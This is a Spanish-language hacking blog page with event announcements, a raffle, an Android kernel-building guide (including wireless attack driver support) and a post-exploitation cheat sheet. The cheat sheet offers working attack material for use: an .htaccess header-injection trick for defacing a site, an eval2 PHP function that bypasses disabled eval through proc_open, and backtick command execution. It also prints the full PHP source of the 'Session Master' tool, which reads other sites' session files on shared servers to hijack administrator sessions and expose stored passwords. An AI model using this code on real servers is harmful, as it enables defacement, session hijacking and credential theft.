.

Entradas VIP a Campus Party

Estaremos rifando unas entradas VIP a Campus Party en la ciudad de Mexico, para entrar a la dinamica tienes que colocar este banner en tu pagina o blog con el link a nuestra pagina, y enviarnos un email a info@hackingmexico.mx con la direccion de tu pagina y tu nombre para que se haga la seleccion el Dia 15 de Julio

Este es el banner oficial

hackingmx
READMORE
 

Foro Estatal de Delitos Informaticos

Se celebro durante los dias 8 y 9 de Marzo El Foro Estatal de Delitos Informaticos, donde parte del programa incluia la presentacion de la Revista Hacking Mexico ante el Tribunal Superior de Justicia. Asi como conferencias y capacitaciones para la Policia Municipal de Morelos.

Durante el evento se me fue entregado un Premio Honorifico Estatal Honoris Causa frente al Magistrado y representantes de la Universidad de Aztlan. Es un orgullo obtener esta condecoracion, aqui pueden ver las fotos del evento y el video donde se hace la presentacion de la revista[gallery ids="1785,1786,1787,1788,1789,1790,1791,1792,1793,1794,1795,1796,1797,1798,1799,1800,1801,1802,1803,1804,1805,1806,1807,1808,1809,1810,1811,1812,1813,1814"]

READMORE
 

Evadiendo mecanismos de seguridad internos de un servidor

Este post es más que nada un pequeño “Cheat Sheet” muy simple y básico sobre multiples formas de evadir la seguridad interna de un servidor, al decir interna nos referimos a ya estando dentro del servidor, vamos a ver algunos casos:

 

Caso 1: Se puede crear archivos, pero no editar el index:

Esto se puede saltar utilizando un pequeño bug que se encuentra en mod_headers desde hace años y que hasta la fecha está sin corregir:

 

Se crea o edita un .htaccess y se coloca el siguiente contenido:

 
Header set Last-Modified "Xianur0 Was Here\nContent-Length: 25"

Header set xianur0 "Xianur0 Was Here\nContent-Length: 25\n\n<h1>Xianur0 Was Here</h1>"

 

¿Cómo funciona este bug?

 

Mod_headers permite crear encabezados HTTP (respuesta), pero se supone que no deja modificar el Content-Length ni mandar contenido, el detalle es que permite insertar saltos de linea, lo cual nos permite crear encabezados especiales e incluso mandar el contenido, la respuesta sería algo como:

 
Zer0-null:/home/xianur0/kernel-2.6.29-M860 # nc -vvv localhost 80

Connection to localhost 80 port [tcp/http] succeeded!

GET / HTTP/1.1

Host: localhost

 

HTTP/1.1 200 OK

Date: Fri, 22 Feb 2013 12:09:52 GMT

Server: Apache/2.2.21 (Linux/SUSE)

Last-Modified: Xianur0 Was Here

Content-Length: 25

ETag: "100809-2c-3e9564c23b600"

Accept-Ranges: bytes

Content-Length: 44

xianur0: Xianur0 Was Here

Content-Length: 25

 

<h1>Xianur0 Was Here</h1>

Content-Type: text/html

 

<html><body><h1>It works!</h1></body></html>

 

Al establecer que el largo es de solo 25, el navegador solo leerá los primeros 25 bytes, los cuales son... nuestra página falsa, ignorando el resto del contenido, puede variar si el navegador lee el primer encabezado de Content-Length (en lugar del segundo), entonces leerá los primeros 44 bytes, esto se soluciona... mandando en total 44 bytes (los primeros 25 válidos y el resto relleno, por ejemplo saltos de linea) de modo que aunque lea 25 o 44 se mostrará solo lo que nos interesa.

Caso 2: Shell encriptada no funciona (suhosin patch) eval desactivado.

 

Por seguridad muchos servidores desactivan la función eval, normalmente desde el módulo suhosin o mediante la directiva disable_functions, se puede reemplazar la función eval por eval2:

 
function eval2($php) {

       // eval2 By Xianur0

       $cabecera = "<?php\n";

       foreach($_GET as $key => $valor) $cabecera .= '$_GET['.$key.'] = "'.$valor.'";';

       foreach($_POST as $key => $valor) $cabecera .= '$_POST['.$key.'] = "'.$valor.'";';

       foreach($_SERVER as $key => $valor) $cabecera .= '$_SERVER['.$key.'] = "'.$valor.'";';

       foreach($HTTP_POST_FILES as $key => $valor) $cabecera .= '$HTTP_POST_FILES['.$key.'] = "'.$valor.'";';

       $consulta = $cabecera.$php." ?>";

       $descriptorspec = array(

       0 => array("pipe", "r"),

       1 => array("pipe", "w"),

       2 => array("file", "/tmp/error-output.txt", "a")

       );

       $cwd = getcwd();

       $process = proc_open('php', $descriptorspec, $pipes, $cwd);

       if (is_resource($process)) {

             fwrite($pipes[0], $consulta);

             fclose($pipes[0]);

             echo stream_get_contents($pipes[1]);

             fclose($pipes[1]);

       }

}

 

Esta función tiene básicamente el mismo funcionamiento que eval... pero no está filtrada, desde luego requiere que esté activada proc_open, pero esta se puede reemplazar por otra función similar como popen, desde luego el código podría variar.

 

Caso 3: No está activada la función system() ni similares.

 

Para estos casos se puede aplicar un poco de magia negra y utilizar las comillas invertidas hacia la derecha: “`”

 

Tan pequeñas pero poderosas:
 

<?php

print `ls`;

?>

 

Estas comillas nos permiten ejecutar comandos en la mayoría de los lenguajes de script (incluido perl y bash).

Caso 4: Sesiones PHP inseguras.

 

Traeré un viejo amigo del cementerio del pasado el “Session Master” :D
 

<html><title>Session Master By Xianur0</title><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center>

<h1>Session Master By Xianur0</h1><br><img alt height="100" src="http://img59.imageshack.us/img59/9729/xianur0oq5.gif" width="100"><br><br><script type="text/Javascript">function expandcollapse (postid) { whichpost = document.getElementById(postid);if (whichpost.className=="postshown") { whichpost.className="posthidden"; } else { whichpost.className="postshown"; } }</script><style>.posthidden {display:none} .postshown {display:inline}</style>

 

 

<?php

@session_start();

function buscar() {

$tmp = @session_save_path();

print "<b>Directory of sessions: $tmp\n</b><br>";

$dir = @opendir($tmp);

            while ($session = @readdir($dir))

            {

                        if(preg_match("/^sess_/",$session)) {

                                   $gestor = @fopen("$tmp/$session", "r");

                                   $contenido = @fread($gestor, filesize("$tmp/$session"));

                                   $contenido = @str_replace(';', ";\n<br><br>Session: ", $contenido);

                                   fclose($gestor);

                                   echo "<br>".$session."<br>\n";

                                   if(!empty($contenido)){

                                               $i++;

                                               echo '<a href="javascript:expandcollapse('.$i.')">Show/Hide Code</a><br><span id="'.$i.'">

                                               <br/><table height=1 cellSpacing=0 cellPadding=5 width="100%" bgColor=#FF0000 borderColor=#FF0000 border=1><tr><th>Session: '.$contenido.'</th></tr></table></span><br>';

                                   }

                        }

            }

}

function definir() {

            $name = $_POST['name'];

            $contenido = $_POST['valor'];

            $_SESSION[$name] = $contenido;

}

 

function definidos() {

            foreach ($_SESSION as $name => $valor)

            {

                        print "<b>Name:</b> $name\n<br><b>Value:</b> $valor\n<br><br>";

            }

}

 

function menu() {

            $uri = $_SERVER['REQUEST_URI'];

            print "<h2>Define SESSION</h2><br><form action='".$uri."?&action=definir' method='POST'>Name: <input type='text' name='name'><br>Value: <input type='text' name='valor'><br><input type='submit' value='Set!'></form><h2>Information:</h2><b><a href='$uri?&action=definidos'>Defined Sessions</a><br><a href='$uri?&action=buscar'>Sessions On The Server</a><b>";

}

if(isset($_GET['action']))

            $action = $_GET['action'];

else $action="default";

 

 

switch ($action) {

    case "buscar":

        buscar();

        break;

    case "definir":

        definir();

        break;

    case "definidos":

        definidos();

        break;

    default:

        menu();

        break;

}

 

?>

Su utilidad es simple: Busca archivos “session” guardados en el directorio de los temporales, muchos servidores “compartidos” bueno... comparten el mismo directorio o en algunos casos no se borran estas y siguen siendo válidas para el servidor, de modo que podemos usarla en nuestro navegador y por ejemplo, entrar como administrador del sitio (sin tener la password, sin necesidad de cambiarla y sin necesidad de crackear hashes), esto incluye a cualquier sitio del servidor, no solo en el que estamos ejecutando el session master, también podemos ver el contenido de estas sesiones, en muchos casos se guarda la password en plano u otros valores interesantes, es por demás aclarar que no funciona en todos los sistemas que usan esto, por ejemplo, muchos guardan en base de datos, otros tienen el directorio de las sesiones sin lectura para los usuarios, etc.

Por el momento este post queda hasta aquí, espero que haya sido de su agrado y seguimos en contacto.

By Xianur0!
READMORE
 

Primera generacion del Diplomado en Intrusiones Ciberneticas

Felicidades a la primera generacion que hoy completa las 25 horas del primer modulo de la certificacion COISP. Sabemos que mucha gente quedo fuera, pero ya estamos abriendo grupos dominicales para que puedan asistir.

Nos vemos en el modulo 2!

la foto (5)
M4ku4z y Megabyte con los alumnos de la primera generacion

 

la foto (6)Diploma con valor curricular,  entregado a los participantes, con firmas originales, sellos oficiales del Sistema Educativo Nacional ,el Instituto Politecnico Nacional, y holograma de autenticidad. Respaldado por







Colegio de Contadores Públicos de Cuautla, A.C.SEP/DGP/CP001/10/030.








Colegio de Contadores Públicos de Morelos, A.C.SEP/DGP/CP001/10/031. 

 

 








Asociación Mexicana de Contadores Públicos. Colegio Profesional en el Distrito Federal, A.CSEP/DGP/CP002/06

 

 

entre otras que cuentan con reconocimiento de Idoneidad Vigente para otorgar Diplomados y Certificaciones

http://www.sep.gob.mx/es/sep1/sep1_Reconocimiento_de_Idoneidad#.UTJFGzByGSo

 
READMORE
 

Entrevista a Raul Robles Aviles

Entrevista que se llevo a cabo en el BugCON en la ciudad de Mexico

http://estoesmexico.net/videos/Ral_Robles_CEO_Hacking_Mexico-vidwzpjJFA8v6Y.html

READMORE
 

Android Para Hackers Reales pt. 2

Usaré un celular M860 para este proceso, por lo que usaré el código fuente siguiente (ustedes necesitarán el código fuente del kernel del celular que vayan a usar):

 

https://github.com/playfulgod/kernel-2.6.29-M860

 

(Por cierto, playfulgod tiene buenos repositorios de kernels)

 

Y vamos a usar el siguiente paquete de herramientas:

 

http://www.mediafire.com/?o25hl0x3zjnxxi2

 

Copiamos el archivo “compilakernel.sh” y la carpeta “toolchain-4.6.3” del paquete a la carpeta del código fuente y bajamos la configuración del kernel:

 
# adb pull /proc/config.gz && zcat /proc/config.gz > .config

160 KB/s (13860 bytes in 0.084s)

 

Necesitamos colocar el boot.img (se explicó en este manual como obtenerlo: http://www.hackingmexico.mx/blog/android-para-hackers/) en la misma carpeta del source del kernel y tener instalado abootimg y fastboot.

 

Para instalar fastboot basta con copiarlo a /usr/bin/ y darle permisos de ejecución (chmod a+w /usr/bin/fastboot).

 

Compilamos:

 
Zer0-null:/home/xianur0/originales/kernel-2.6.29-M860 # ./compilarkernel.sh

Ejecutando configuracion del kernel...

HOSTCC  scripts/basic/fixdep

[...]

 

En primera instancia nos abrirá el asistente para configurar el kernel, de entrada no hace falta mover nada, entonces solo nos movemos a exit y le damos enter, pero se pueden hacer cosas interesantes, como agregar soporte para la rtl8187 (en dispositivos con usb host):

 
General setup  --->

[*] Prompt for development and/or incomplete code/drivers

 

Networking --->

[*] Networking support

Wireless --->

<*> Generic IEEE 802.11 Networking Stack (mac80211)

 

Device Drivers --->

[*] Misc Devices --->

<M> EEPROM 93CX6 support

Network device support --->

Wireless LAN --->

[*] Wireless LAN (IEEE 802.11)

<M> Realtek 8187 and 8187B USB support

 

Cryptographic options --->

[*]Cryptographic API

<*>ARC4 cipher algorithm

 

Library routines

---CRC32 functions

De este modo, cargando el módulo con insmod (o cargándolo directamente en el kernel) y portanto aircrack como se explicó en el manual http://www.hackingmexico.mx/blog/portando-cualquier-programa-gnulinux-a-android/

 

Se pueden hacer cosas muy divertidas :P.

 

Preguntará si queremos guardar la configuración y le daremos “Yes” y el proceso de compilar comenzará.

 

Según la versión de gcc del tool-chain y del código fuente puede generar ciertos errores durante la compilación, pero este proceso varía según el dispositivo entonces si tienen alguna duda de como solucionar un determinado error pueden publicar el error como comentario y se asistirá para darle solución.

 

El proceso puede tardar un poco, pero al terminar las ultimas lineas se verían aproximadamente como estas:

 
  Kernel: arch/arm/boot/Image is ready

Building modules, stage 2.

Kernel: arch/arm/boot/zImage is ready

MODPOST 10 modules

Copiando modulos al temporal...

Modificando  boot.img...

Flasheando la imagen...

< waiting for device >

 

Al llegar a este punto es necesario pasar el dispositivo a modo fastboot, para este se necesita apagarlo y presionar la combinación de botones del dispositivo, en muchos casos es volumen abajo + home + encendido, aunque puede variar de un dispositivo a otro, al entrar a fastboot (se reconoce porque el dispositivo se queda en la primera pantalla y no pasa de esta) se conecta por usb el dispositivo (se requiere tenerlo desconectado previamente xD) y el sistema comenzará a cargar el nuevo kernel:

 
sending 'boot' (3504 KB)... OKAY

writing 'boot'... OKAY

Reiniciando el dispositivo...

rebooting...

Subiendo modulos...

Desconecte el dispositivo hasta que este termine de iniciar.

 

Y bueno el script hará el resto.

 

Si todo sale bien, podrás decir que has compilado tu primer kernel para android y ahora te queda... modificar el kernel de tu dispositivo :D.

 

By Xianur0!
READMORE
 

Foro Estatal Sobre Tecnologias y Delitos Informaticos

PREMIOS
READMORE